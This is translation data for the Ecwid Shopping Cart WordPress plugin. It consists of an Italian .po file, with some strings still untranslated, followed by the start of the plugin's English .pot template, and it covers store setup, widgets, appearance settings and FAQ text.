"Shopping Cart (Mini)" msgstr "Shopping Cart (Mini)" msgid "Displays a simple search box for your customers to find a product in your storex" msgstr "Displays a simple search box for your customers to find a product in your storex" msgid "Product Search" msgstr "Product Search" msgid "Adds vertical categories block to let the customer navigate your store." msgstr "Adds vertical categories block to let the customer navigate your store." msgid "Store Categories" msgstr "Store Categories" msgid "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgstr "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgid "Store Page Link" msgstr "Store Page Link" msgid "Shop" msgstr "Negozio" msgid "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgstr "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgid "Recently Viewed Products" msgstr "Prodotti visti recentemente" msgid "You have not viewed any product yet. Open store." msgstr "You have not viewed any product yet. Open store." msgid "Store Link Title" msgstr "Titolo link per il negozio" msgid "Number of products to show" msgstr "Numero di prodotti da mostrare" msgid "Greetings! Your Ecwid store is now active." msgstr "Congratulazioni! Il tuo negozio Ecwid è ora attivo." msgid "Take a few simple steps to complete store setup" msgstr "Ora esegui alcuni semplici step per completare la configurazione del negozio" msgid "Set up Ecwid Store" msgstr "Imposta Negozio Ecwid" msgid "Good job! Your store is set up and you're ready to sell." msgstr "Ottimo lavoro! Il tuo negozio è stato configurato e ora sei pronto a vendere." msgid "Now you can fine-tune your store's appearance" msgstr "Ora è possibile ottimizzare l'aspetto del tuo negozio" msgid "Visit Storefront" msgstr "Visita la vetrina del negozio" msgid "Configure Appearance" msgstr "Configurare l'aspetto" msgid "Your store is almost ready!" msgstr "Il negozio è quasi pronto!" msgid "Connect your Ecwid account with this site to complete setup and start selling" msgstr "Collega il tuo account Ecwid con questo sito per completare l'installazione e iniziare a vendere" msgid "Connect Your Ecwid Store" msgstr "Collega il tuo negozio Ecwid" msgid "To add extra functions to your store, drag and drop Ecwid store elements on your site. When you're done, you can get back to modifying your settings." msgstr "Per aggiungere funzioni extra al tuo negozio, trascina e rilascia gli elementi del negozio Ecwid sul tuo sito. Quando hai finito, è possibile tornare indietro per modificare le impostazioni." msgid "Back to Store Settings" msgstr "Torna alle impostazioni del negozio" msgid "Do you like your Ecwid online store? We'd appreciate it if you add your review and vote for the plugin on Wordpress site." msgstr "Ti piace il tuo negozio online Ecwid? Apprezzeremmo se aggiungi la recensione e il voto per il plugin sul sito Wordpress." msgid "Rate Ecwid at WordPress.org" msgstr "Valuta Ecwid su WordPress.org" msgid "Add Store" msgstr "Aggiungi Negozio" msgid "Edit Store" msgstr "Modifica Negozio" msgid "Edit Appearance" msgstr "Modifica l'aspetto" msgid "Price" msgstr "Prezzo" msgid "Never show this message again" msgstr "Non mostrare più questo messaggio" msgid "Ecwid Shopping Cart — Advanced settings" msgstr "Ecwid Shopping Cart — Impostazioni Avanzate" msgid "Category shown by default" msgstr "Categoria visualizzata come predefinita" msgid "Store root category" msgstr "Categoria principale negozio" msgid "Default category ID" msgstr "ID categoria predefinita" msgid "By default, the storefront shows a list of root categories. You can override this behavior and show a different category when customers open your store for the first time. This is useful if you only have one category or want to display a specific set of items (e.g. \"Featured Products\") to new visitors." msgstr "Per impostazione predefinita, la vetrina mostra un elenco di categorie principali. È possibile ignorare questo comportamento e mostrare una categoria diversa quando i clienti aprono il negozio per la prima volta. E 'utile se si dispone di una sola categoria o si desidera visualizzare uno specifico insieme di elementi (es. \"Prodotti in evidenza\") a tutti i nuovi visitatori." msgid "In order to set this option, <a %s>find an ID of the necessary category</a> and save it here." msgstr "Per attivare questa opzione, <a %s> cerca un ID della categoria necessaria</a> e salvalo qui." msgid "Single Sign-On Secret Key" msgstr "Registrazione Sign-On Secret Key" msgid "Single Sign-On Secret Key is an option that allows your customers access to your WordPress site as well as the Ecwid shopping cart. When customers log in to your site, they will automatically be logged in to your Ecwid store as well. It makes sense to enable this feature if your visitors actually create accounts in your WordPress website." msgstr "Questa funzione opzionale consente di abilitare la Sign-on Secret Key, quando i clienti sono registrati al sito, si accede automaticamente al tuo negozio Ecwid, anche se non dispongono di un account del negozio . Ha senso attivare questa funzione, se i visitatori effettivamente hanno creato un account nel tuo sito WordPress." msgid "In order to enable this feature, opt to use a secret key. You will find this key in your Ecwid control panel, at \"System Settings > Apps > Legacy API Keys > Single Sign-On Secret Key\" page. This feature is available for <a href=\"http://www.ecwid.com/compare-plans.html\" target=\"_blank\">paid users</a> only." msgstr "Per abilitare questa funzione è necessario essere in possesso di una chiave segreta. Troverai questo pulsante nel pannello di controllo Ecwid, in \"Impostazioni di sistema > Apps > Single Sign-on API secret key\" . Questa funzione è disponibile per tutti gli <a href=\"http://www.ecwid.com/compare-plans.html\" target=\"_blank\">utenti paganti</a>." msgid "Chameleon skin <sup>beta</sup>" msgstr "Tema Chameleon <sup>beta</sup>" msgid "Automatic adjustment of your store design to your Wordpress theme. Whatever Wordpress theme you use, Ecwid will detect predominant colors and font and use them in your product catalog." msgstr "Regolazione automatica del design del tuo negozio per il tema Wordpress. Qualsiasi tema Wordpress utilizzi, Ecwid rileverà font e colori predominanti e li utilizzerà nel tuo catalogo prodotti." msgid "Please note this functionality is in beta. So if you run into difficulties or find problems with Chameleon, please <a %s>let us know</a>." msgstr "Please note this functionality is in beta. So if you run into difficulties or find problems with Chameleon, please <a %s>let us know</a>." msgid "Enable the new category menu" msgstr "Enable the new category menu" msgid "The new category menu looks better and is more mobile-friendly. If you haven't yet added category menu to your store page, you can do that in the <a %s>store page editor</a> (enable the \"Show categories\" option)" msgstr "The new category menu looks better and is more mobile-friendly. If you haven't yet added category menu to your store page, you can do that in the <a %s>store page editor</a> (enable the \"Show categories\" option)" msgid "Save changes" msgstr "Salva modifiche" msgid "Ecwid Shopping Cart — Appearance settings" msgstr "Ecwid Shopping Cart — Impostazioni di visualizzazione" msgid "Display search box above products" msgstr "Mostra casella di ricerca sopra prodotti" msgid "Or you can add search box to your website's toolbar using <a href=\"%s\">WordPress native widgets</a>" msgstr "Puoi anche aggiungere alla barra degli strumenti la casella di ricerca del tuo sito web utilizzando i <a href=\"%s\">widgets nativi di WordPress</a>" msgid "Display categories above products" msgstr "Display categories above products" msgid "Or you can add vertical categories to your website's toolbar using <a href=\"%s\">WordPress native widgets</a>" msgstr "Puoi anche aggiungere alla barra degli strumenti le categorie verticali utilizzando i <a href=\"%s\">widgets nativi di WordPress</a>" msgid "Enable minicart attached to categories" msgstr "Enable minicart attached to categories" msgid "You should disable this option, if you added minicart to your website's sidebar" msgstr "È necessario disattivare questa opzione, se hai aggiunto il carrello al tuo sito web sidebar" msgid "Number of categories per row" msgstr "Numero di categorie per riga" msgid "Number of products per page" msgstr "Numero di prodotti per pagina" msgid "Grid view" msgstr "Visualizza come griglia" msgid "List view" msgstr "Visualizza come elenco" msgid "Table view" msgstr "Visualizza come tabella" msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, Ecwid will adapt the number of columns to hold all products." msgstr "Qui è possibile controllare il numero di prodotti da visualizzare per pagina. Queste opzioni definiscono valori massimi. Se non c'è abbastanza spazio per mostrare tutte le colonne dei prodotto, Ecwid adatterà il numero di colonne a tutti i prodotti." msgid "Default view mode on product pages" msgstr "Modalità di visualizzazione predefinita sulle pagine prodotti" msgid "Grid" msgstr "Griglia" msgid "List" msgstr "Elenco" msgid "Table" msgstr "Tabella" msgid "Default view mode on search results" msgstr "Modalità di visualizzazione predefinita nei risultati di ricerca" msgid "Connect your store<br /> to this WordPress site" msgstr "Collega il tuo negozio<br /> a questo sito WordPress" msgid "Enter your Store ID" msgstr "Enter your Store ID" msgid "Connect Ecwid store" msgstr "Collega Ecwid store" msgid "Save and connect" msgstr "Save and connect" msgid "After clicking button you need to login and accept permissions to use our plugin" msgstr "Dopo aver cliccato il pulsante devi accedere e accettare le autorizzazioni necessarie per utilizzare il nostro plugin" msgid "Connection error - after clicking button you need to login and accept permissions to use our plugin. Please, try again." msgstr "Errore di connessione - dopo aver cliccato il pulsante, è necessario accedere e accettare le autorizzazioni necessarie per utilizzare il nostro plugin. Per favore, riprova." msgid "Where to find your Store ID:" msgstr "Where to find your Store ID:" msgid "Store ID is a unique identifier of your Ecwid account. You can find it in your Ecwid control panel: open the <a %s>Dashboard page</a> and find the \"<b>Store ID: NNNNNNN</b>\" text, where <b>NNNNNNN</b> is your Store ID." msgstr "Store ID is a unique identifier of your Ecwid account. You can find it in your Ecwid control panel: open the <a %s>Dashboard page</a> and find the \"<b>Store ID: NNNNNNN</b>\" text, where <b>NNNNNNN</b> is your Store ID." msgid "Don't have Ecwid account? Create it here" msgstr "Non hai un accont Ecwid? Crealo qui" msgid "Questions? Visit <a %s>Ecwid support center</a>" msgstr "Hai domande? Visita il <a %s>Centro di supporto Ecwid</a>" msgid "Store ID" msgstr "ID Negozio" msgid "Disconnect store" msgstr "Scollega il negozio" msgid "Congratulations!" msgstr "Congratulazioni!" msgid "Your Ecwid store is now connected<br /> to your WordPress website" msgstr "Il tuo negozio Ecwid è ora collegato<br /> al tuo sito Web WordPress" msgid "Greetings!" msgstr "Auguri!" msgid "Your Ecwid store is connected<br /> to your WordPress website" msgstr "Il tuo negozio Ecwid è collegato<br /> al tuo sito WordPress" msgid "Open control panel" msgstr "Apri pannello di controllo" msgid "Plugin is installed successfully!" msgstr "Plugin installato con successo!" msgid "There are just a few steps left to start selling<br /> on your WordPress site" msgstr "Ci sono pochi step da fare per iniziare a vendere<br /> sul tuo sito WordPress" msgid "There are few little steps left to start selling<br /> on your WordPress site" msgstr "Ci sono alcuni piccoli step da fare per iniziare a vendere<br /> sul tuo sito WordPress" msgid "Register" msgstr "Registra" msgid "Create a free Ecwid account to manage your store and inventory.<br /> No credit card required" msgstr "Crea un account gratuito di Ecwid per gestire il tuo negozio e le tue giacenze.<br /> Nessuna carta di credito necessaria" msgid "Connect" msgstr "Collegati" msgid "Add your Ecwid store to your site <nobr>in two clicks</nobr>" msgstr "Aggiungi il tuo negozio Ecwid per il tuo sito <nobr>in due click</nobr>" msgid "Connect your Ecwid store to this site <nobr>in two clicks</nobr>" msgstr "Collega il tuo negozio di Ecwid a questo sito <nobr>in due click</nobr>" msgid "Start selling" msgstr "Iniziare a vendere" msgid "Your storefront is ready" msgstr "Il tuo negozio virtuale è pronto" msgid "Create Ecwid store" msgstr "Crea un negozio Ecwid" msgid "Connect your store" msgstr "Collega il tuo negozio" msgid "Free registration, No credit card required" msgstr "Registrazione gratuita, nessuna carta di credito necessaria" msgid "Connection error: please click the button again and give permissions for this plugin<br /> to show your Ecwid store on this site." msgstr "Errore di connessione: per mostrare il tuo negozio Ecwid su questo sito<br /> clicca ancora sul pulsante e concedi le autorizzazioni per questo plugin." msgid "You will be asked to log in to your Ecwid Control Panel<br />and give permissions to show your store on this site" msgstr "Verrà chiesto di accedere al tuo pannello di controllo Ecwid<br />quindi devi dare le autorizzazioni per mostrare il tuo negozio su questo sito" msgid "Already have Ecwid account?" msgstr "Hai già un accont Ecwid?" msgid "Connect your store to Wordpress site" msgstr "Collega il tuo negozio al sito Wordpress" msgid "Don't have an Ecwid account?" msgstr "Non disponi di un account Ecwid?" msgid "Register at Ecwid for free" msgstr "Registrati gratuitamente a Ecwid" msgid "No credit card required" msgstr "Nessuna carta di credito necessaria" msgid "Get ready to sell online" msgstr "Preparati a vendere online" msgid "Sell Everywhere<br>with your Ecwid store" msgstr "Vendi ovunque<br>con il tuo negozio Ecwid" msgid "Start selling on your WordPress site. Then mirror your shop on your Facebook page, blog and marketplaces like Google Shopping, Yahoo and Shopping.com." msgstr "Inizia a vendere sul tuo sito WordPress. Puoi ottenere una copia del tuo negozio anche sulla tua pagina Facebook, su un blog o su un Marketplace come Google Shopping, Yahoo e Shopping.com." msgid "Use Ecwid's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store." msgstr "Usa un POS-Mobile Ecwid per vendere e pagare con carte di credito. I tuoi ordini e l'inventario dei tuoi prodotti sono sempre sincronizzati con il tuo negozio online." msgid "Features" msgstr "Funzionalità" msgid "Compatible with your theme" msgstr "Compatibile con il tuo tema" msgid "Ecwid is compatible with your<br>“%s†WordPress theme<br>out of the box." msgstr "Ecwid i comatibile con il tuo<br>“%s†tema WordPress<br>e altri temi WordPress." msgid "Free and always up to date" msgstr "Gratuito e sempre aggiornato" msgid "Free plan always available with tons of features<br>at no additional cost. Updates are seamless, automatic<br>and free of charge." msgstr "Free plan always available with tons of features<br>at no additional cost. Updates are seamless, automatic<br>and free of charge." msgid "Responsive design" msgstr "Design eccezionale" msgid "Your store looks perfect<br />on all devices" msgstr "Il tuo negozio è perfetto<br />su tutti i dispositivi" msgid "PCI-DSS Certified" msgstr "PCI-DSS Certificato" msgid "Secure checkout with over 40<br />payment options" msgstr "Checkout sicuro con oltre 40<br />opzioni di pagamento" msgid "Global Reach" msgstr "Portata globale" msgid "More than 800,000 merchants in 175 countries" msgstr "More than 800,000 merchants in 175 countries" msgid "Start selling <br>on your WordPress <nobr>site for free</nobr>" msgstr "Inizia a vendere <br>sul tuo WordPress <nobr>sito gratis</nobr>" msgid "Get Started, Create Ecwid Account" msgstr "Per iniziare, crea un Account Ecwid" msgid "Connect your store to this site" msgstr "Collega il tuo negozio a questo sito" msgid "Reconnect your store<br /> to this WordPress site" msgstr "Reconnect your store<br /> to this WordPress site" msgid "Reconnect Ecwid store" msgstr "Reconnect Ecwid store" msgid "New features available, reconnect to be in touch with our updates" msgstr "New features available, reconnect to be in touch with our updates" msgid "Questions? Visit <a href=\"http://help.ecwid.com/?source=wporg\">Ecwid support center</a>" msgstr "Domande? Visita il <a href=\"http://help.ecwid.com/?source=wporg\">Centro di Supporto Ecwid</a>" msgid "Store settings" msgstr "Impostazioni Negozio" msgid "Choose widgets to show" msgstr "Scegli il widget da mostrare" msgid "Product catalog will be shown automatically" msgstr "Il catalogo prodotti verrà mostrato automaticamente" msgid "Show search" msgstr "Mostra ricerca" msgid "Show minicart" msgstr "Mostra carrello" msgid "Show categories" msgstr "Show categories" msgid "Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>" msgstr "Inoltre, è possibile aggiungere altri controlli alla barra degli strumenti del tuo sito Web utilizzando i <a %s>widgets nativi WordPress</a>" msgid "Demo store" msgstr "Negozio demo" msgid "Ecwid plugin settings" msgstr "Impostazioni plugin Ecwid" msgid "Your store will be shown here!" msgstr "Qui verrà mostrato il tuo negozio!" msgid "Demo Store" msgstr "Negozio demo" msgid "Sell On The Go with Ecwid iOS Application" msgstr "Sell On The Go with Ecwid iOS Application" msgid "Ecwid iOS app allows you to manage your online store, sell your products on the go, and accept payments with your phone. Just download the Ecwid app, connect it to your Ecwid shop and have your sales at your fingertips!" msgstr "Ecwid iOS app allows you to manage your online store, sell your products on the go, and accept payments with your phone. Just download the Ecwid app, connect it to your Ecwid shop and have your sales at your fingertips!" msgid "Get Your Products Found on Google using XML Sitemap" msgstr "Get Your Products Found on Google using XML Sitemap" msgid "Free Google XML Sitemaps plugin creates a sitemap that includes your store product links. This makes your product pages more visible to search engines and appear in the search results." msgstr "Free Google XML Sitemaps plugin creates a sitemap that includes your store product links. This makes your product pages more visible to search engines and appear in the search results." msgid "Add Product Slider to Your Store" msgstr "Add Product Slider to Your Store" msgid "Add a fancy product slider to your site using a free WP Widgets Avalanche plugin which works perfectly with Ecwid" msgstr "Add a fancy product slider to your site using a free WP Widgets Avalanche plugin which works perfectly with Ecwid" PK������Ê—[Þdž™��™��5��ecwid-shopping-cart/languages/ecwid-shopping-cart.potnu�„[µü¤��������# Copyright (C) 2017 Ecwid Shopping Cart # This file is distributed under the same license as the Ecwid Shopping Cart package. msgid "" msgstr "" "Project-Id-Version: Ecwid Shopping Cart 5.4.1\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/ecwid-shopping-" "cart\n" "POT-Creation-Date: 2017-07-05 09:05:23+00:00\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "PO-Revision-Date: 2017-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n" "Language-Team: LANGUAGE <LL@li.org>\n" #: ecwid-shopping-cart.php:847 msgid "%s plugin doesn't work well with my \"%s\" theme" msgstr "" #: ecwid-shopping-cart.php:862 msgid "I have a problem with my %s store" msgstr "" #: ecwid-shopping-cart.php:890 templates/dashboard.php:44 msgid "Visit storefront" msgstr "" #: ecwid-shopping-cart.php:898 msgid "Manage my store" msgstr "" #: ecwid-shopping-cart.php:906 msgid "Read FAQ" msgstr "" #: ecwid-shopping-cart.php:908 msgid "" "https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-" msgstr "" #: ecwid-shopping-cart.php:917 msgid "Report a problem with the store" msgstr "" #: ecwid-shopping-cart.php:1279 msgid "<a %s>Online store powered by %s</a>" msgstr "" #: ecwid-shopping-cart.php:1592 includes/class-ecwid-nav-menus.php:111 #: includes/class-ecwid-nav-menus.php:297 #: includes/class-ecwid-nav-menus.php:300 #: includes/class-ecwid-nav-menus.php:308 msgid "Store" msgstr "" #: ecwid-shopping-cart.php:1796 includes/class-ecwid-admin.php:31 msgid "Setup" msgstr "" #: ecwid-shopping-cart.php:1796 msgid "Settings" msgstr "" #: ecwid-shopping-cart.php:1857 includes/class-ecwid-admin.php:33 msgid "Dashboard" msgstr "" #: ecwid-shopping-cart.php:1859 includes/class-ecwid-admin.php:58 #: includes/class-ecwid-admin.php:59 includes/class-ecwid-products.php:242 msgid "Products" msgstr "" #: ecwid-shopping-cart.php:1861 msgid "Orders" msgstr "" #: ecwid-shopping-cart.php:1863 includes/class-ecwid-nav-menus.php:144 msgid "Refresh categories list" msgstr "" #: ecwid-shopping-cart.php:1864 includes/class-ecwid-nav-menus.php:145 msgid "Done" msgstr "" #: ecwid-shopping-cart.php:1865 includes/class-ecwid-nav-menus.php:146 msgid "" "The store top-level categories are automatically added to this drop-down menu" msgstr "" #: ecwid-shopping-cart.php:1974 includes/class-ecwid-oauth.php:336 msgid "" "To be able to choose a product to insert to your posts and pages, you will " "need to re-connect your site to your %s store. This will only require you to " "accept permissions request – so that the plugin will be able to list your " "products in the \"Add product\" dialog." msgstr "" #: ecwid-shopping-cart.php:2466 msgid "Recommendations for Your Online Store" msgstr "" #: includes/class-ecwid-admin.php:21 msgid "%s shopping cart settings" msgstr "" #: includes/class-ecwid-admin.php:22 msgid "%s Store" msgstr "" #: includes/class-ecwid-admin.php:48 includes/class-ecwid-admin.php:49 msgid "Sales" msgstr "" #: includes/class-ecwid-admin.php:69 msgid "Advanced settings" msgstr "" #: includes/class-ecwid-admin.php:70 msgid "Advanced" msgstr "" #: includes/class-ecwid-admin.php:83 includes/class-ecwid-admin.php:84 msgid "Help" msgstr "" #: includes/class-ecwid-integration-divibuilder.php:25 msgid "Ecwid" msgstr "" #: includes/class-ecwid-integration-divibuilder.php:41 msgid "Content" msgstr "" #: includes/class-ecwid-integration-divibuilder.php:44 msgid "Here you can create the content that will be used within the module." msgstr "" #: includes/class-ecwid-integration-divibuilder.php:49 msgid "Admin Label" msgstr "" #: includes/class-ecwid-integration-divibuilder.php:51 msgid "" "This will change the label of the module in the builder for easy " "identification." msgstr "" #: includes/class-ecwid-integration-divibuilder.php:54 msgid "CSS ID" msgstr "" #: includes/class-ecwid-integration-divibuilder.php:57 msgid "" "Enter an optional CSS ID to be used for this module. An ID can be used to " "create custom CSS styling, or to create links to particular sections of your " "page." msgstr "" #: includes/class-ecwid-integration-divibuilder.php:60 msgid "CSS Class" msgstr "" #: includes/class-ecwid-integration-divibuilder.php:63 msgid "" "Enter optional CSS classes to be used for this module. A CSS class can be " "used to create custom CSS styling. You can add multiple classes, separated " "with a space." msgstr "" #: includes/class-ecwid-message-manager.php:45 msgid "" "Sorry, there is a problem. This page is supposed to display your store " "Control Panel. However, this Wordpress site doesn't seem to be able to " "connect to the Ecwid server to show your store dashboard here. This is " "likely caused by your server misconfiguration and can be fixed by your " "hosting provider. Here is a more techy description of the problem, which you " "can send to your hosting provider: \"The Wordpress function wp_remote_post() " "failed to connect a remote server because of some error: \"%s\". Seems like " "HTTP POST requests are disabled on this server\". <br /><br />Please feel " "free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you " "contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, " "to manage your store, you can use the Ecwid Web Control Panel at <a %s>my." "ecwid.com</a>. Your store front is working fine as well and you can check it " "here: <a %s>%s</a>." msgstr "" #: includes/class-ecwid-message-manager.php:194 msgid "Greetings! Your %s plugin is now active." msgstr "" #: includes/class-ecwid-message-manager.php:195 msgid "Take a few simple steps to complete store setup" msgstr "" #: includes/class-ecwid-message-manager.php:196 msgid "Set up %s Store" msgstr "" #: includes/class-ecwid-message-manager.php:204 msgid "Your store is almost ready!" msgstr "" #: includes/class-ecwid-message-manager.php:205 msgid "Complete setup and start selling" msgstr "" #: includes/class-ecwid-message-manager.php:206 msgid "Complete Setup" msgstr "" #: includes/class-ecwid-message-manager.php:212 msgid "" "To add extra functions to your store, drag and drop %s store elements on " "your site. When you're done, you can get back to modifying your settings." msgstr "" #: includes/class-ecwid-message-manager.php:213 msgid "Back to Store Settings" msgstr "" #: includes/class-ecwid-message-manager.php:220 msgid "" "Do you like your %s online store? We'd appreciate it if you add your review " "and vote for the plugin on WordPress site." msgstr "" #: includes/class-ecwid-message-manager.php:224 msgid "Rate %s at WordPress.org" msgstr "" #: includes/class-ecwid-nav-menus.php:25 msgid "Ecwid Menu Item" msgstr "" #: includes/class-ecwid-nav-menus.php:143 msgid "Store Page" msgstr "" #: includes/class-ecwid-nav-menus.php:254 msgid "Select All" msgstr "" #: includes/class-ecwid-nav-menus.php:257 msgid "Add to Menu" msgstr "" #: includes/class-ecwid-nav-menus.php:273 msgid "Cart" msgstr "" #: includes/class-ecwid-nav-menus.php:276 #: includes/widgets/class-ecwid-widget-minicart.php:6 msgid "Shopping Cart" msgstr "" #: includes/class-ecwid-nav-menus.php:281 #: includes/class-ecwid-nav-menus.php:284 #: includes/widgets/class-ecwid-widget-search.php:10 msgid "Product Search" msgstr "" #: includes/class-ecwid-nav-menus.php:289 #: includes/class-ecwid-nav-menus.php:292 msgid "My Account" msgstr "" #: includes/class-ecwid-nav-menus.php:305 msgid "Store with Categories Menu" msgstr "" #: includes/class-ecwid-product-popup.php:94 msgid "Add Product" msgstr "" #: includes/class-ecwid-product-popup.php:134 msgid "First Page" msgstr "" #: includes/class-ecwid-product-popup.php:135 msgid "Previous Page" msgstr "" #: includes/class-ecwid-product-popup.php:136 msgid "Next Page" msgstr "" #: includes/class-ecwid-product-popup.php:137 msgid "Last Page" msgstr "" #: includes/class-ecwid-store-editor.php:44 templates/store-popup.php:11 #: templates/store-popup.php:19 msgid "Add Store" msgstr "" #: includes/class-ecwid-store-editor.php:52 msgid "Edit Store" msgstr "" #: includes/class-ecwid-store-editor.php:67 msgid "Edit Appearance" msgstr "" #: includes/faq_entries.php:5 msgid "How secure is this plugin? Is my store PCI DSS compliant?" msgstr "" #: includes/faq_entries.php:6 msgid "" "Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-" "commerce solutions worldwide. This means you won’t have any banking " "compliance issues when selling online with Ecwid. <a target=\"_blank\" href=" "\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-" "downloadable-#secureplugin\">More details.</a>" msgstr "" #: includes/faq_entries.php:12 msgid "How can I manage my store from a mobile device?" msgstr "" #: includes/faq_entries.php:13 msgid "" "Ecwid provides free mobile applications for iOS and Android to manage your " "store and sell on the go. Scan products, track inventory, manage sales and " "accept payments using your mobile device as a POS station. <a target=\"_blank" "\" href=\"https://www.ecwid.com/ecwid-mobile\">More details.</a>" msgstr "" #: includes/faq_entries.php:20 msgid "How to set up a storefront on Facebook with Ecwid?" msgstr "" #: includes/faq_entries.php:21 msgid "" "You can add your online store to your Facebook business page. No addons " "needed. Ecwid will automatically synchronize products, customers, orders and " "inventory between your WordPress and Facebook storefronts. <a target=\"_blank" "\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-" "downloadable-#How%20to%20add%20my%20store%20to%20Facebook\">More details.</a>" msgstr "" #: includes/faq_entries.php:28 msgid "How can I add a cart widget to my site sidebar?" msgstr "" #: includes/faq_entries.php:30 msgid "" "You can add product search box, cart widget and more on the <a href=\"%s\">" "\"Appearance / Widgets page\"</a> here in your site admin. <a target=\"_blank" "\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-" "downloadable-#Sidebar%%20widgets\">More details.</a>" msgstr "" #: includes/faq_entries.php:38 msgid "How much does Ecwid cost?" msgstr "" #: includes/faq_entries.php:39 msgid "" "Our 4 account types vary by number of products, types of functionality, and " "level of support. For more information, check out our <a target=\"_blank\" " "href=\"https://www.ecwid.com/pricing\">pricing page.</a><br /><br />Free - " "Up to 10 products<br />Venture - $15/month<br />Business - $35/month<br /" ">Unlimited - $99/month<br /><br />Pro Tip: You can also save money by " "enrolling in our annual plans." msgstr "" #: includes/faq_entries.php:45 msgid "How do I add store categories to the site menu." msgstr "" #: includes/faq_entries.php:46 msgid "" "You can add the store categories menu to your site menu to help your " "customers easily navigate your site. Just open \"Appearance > Menus\" in " "your WordPress control panel and add the \"Store with Categories Menu\" item " "to your site menu. A drop-down menu containing your store categories will " "automatically appear on your site." msgstr "" #: includes/faq_entries.php:52 msgid "How do I put my products in the sitemap?" msgstr "" #: includes/faq_entries.php:53 msgid "" "To create sitemap for your Wordpress site we suggest using <a target=\"_blank" "\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google " "XML Sitemaps</a> or <a target=\"_blank\" href=\"https://wordpress.org/" "plugins/wordpress-seo/\">Yoast Wordpress SEO</a>.  plugins. These " "plugins are fully compatible with Ecwid and allow to generate a sitemap that " "will contain links to categories and product pages, so the store pages will " "get indexed faster. Please note that this option is available to <a target=" "\"_blank\" href=\"https://www.ecwid.com/pricing\">paid Ecwid users</a>." msgstr "" #: includes/faq_entries.php:58 msgid "" "How to add a single product with the add to bag button to the site pages?" msgstr "" #: includes/faq_entries.php:59 msgid "" "To feature a single product on a separate page or blog post of your site, " "use <b>[ecwid_product]</b> shortcode. <a target=\"_blank\" href=\"https://" "support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-" "#Howtoembedasingleproductonapageorpostofmysite\">How to use it.</a>" msgstr "" #: includes/faq_entries.php:65 msgid "Is it possible to display my store on the site home page?" msgstr "" #: includes/faq_entries.php:66 msgid "" "You can display your store on the site main page. Adjust the \"Reading\" " "settings of your site as described in our <a target=\"_blank\" href=" "\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-" "downloadable-#displaystoreonhomepage\">Help Center.</a>" msgstr "" #: includes/oembed.php:68 includes/oembed.php:97 templates/help.php:96 msgid "See more" msgstr "" #: includes/themes/class-ecwid-theme-twentyfifteen.php:32 #: includes/themes/class-ecwid-theme-twentyfifteen.php:38 #: includes/themes/class-ecwid-theme-twentyseventeen.php:47 #: includes/themes/class-ecwid-theme-twentyseventeen.php:53 #: includes/themes/class-ecwid-theme-twentysixteen.php:35 #: includes/themes/class-ecwid-theme-twentysixteen.php:41 #: includes/widgets/class-ecwid-widget-store-link.php:29 msgid "Shop" msgstr "" #: includes/widgets/class-ecwid-widget-badge.php:9 msgid "" "Do you like Ecwid and want to help it grow? You can add this fancy 'Powered " "by Ecwid' badge on your site to show your visitors that you're a proud user " "of Ecwid." msgstr "" #: includes/widgets/class-ecwid-widget-badge.php:10 msgid "Ecwid Badge" msgstr "" #: includes/widgets/class-ecwid-widget-badge.php:17 #: includes/widgets/class-ecwid-widget-badge.php:23 msgid "Ecwid shopping cart widget" msgstr "" #: includes/widgets/class-ecwid-widget-badge.php:29 #: includes/widgets/class-ecwid-widget-badge.php:65 msgid "Ecwid ecommerce solution" msgstr "" #: includes/widgets/class-ecwid-widget-badge.php:35 #: includes/widgets/class-ecwid-widget-badge.php:71 msgid "Ecwid free shopping cart" msgstr "" #: includes/widgets/class-ecwid-widget-badge.php:41 #: includes/widgets/class-ecwid-widget-badge.php:53 msgid "Ecwid shopping cart" msgstr "" #: includes/widgets/class-ecwid-widget-badge.php:47 #: includes/widgets/class-ecwid-widget-badge.php:59 msgid "Ecwid e-commerce widgets" msgstr "" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:15 msgid "Adds a shopping cart widget to the top right corner of your site." msgstr "" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:16 msgid "Shopping Cart (Floating)" msgstr "" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:114 msgid "Position" msgstr "" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:117 msgid "Bottom right" msgstr "" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:122 msgid "Top right" msgstr "" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:5 msgid "" "Adds a compact cart widget for customer to see the products they added to " "the cart." msgstr "" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:6 msgid "Shopping Cart (Mini)" msgstr "" #: includes/widgets/class-ecwid-widget-minicart-miniview.php:44 #: includes/widgets/class-ecwid-widget-minicart.php:44 #: includes/widgets/class-ecwid-widget-search.php:49 #: includes/widgets/class-ecwid-widget-vcategories.php:43 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:71 msgid "Title:" msgstr "" #: includes/widgets/class-ecwid-widget-minicart.php:5 msgid "" "Adds a cart widget for customer to see the products they added to the cart." msgstr "" #: includes/widgets/class-ecwid-widget-recently-viewed.php:9 msgid "" "Displays a list of products recently viewed by the customer to easily return " "to the products they saw in your shop." msgstr "" #: includes/widgets/class-ecwid-widget-recently-viewed.php:10 #: 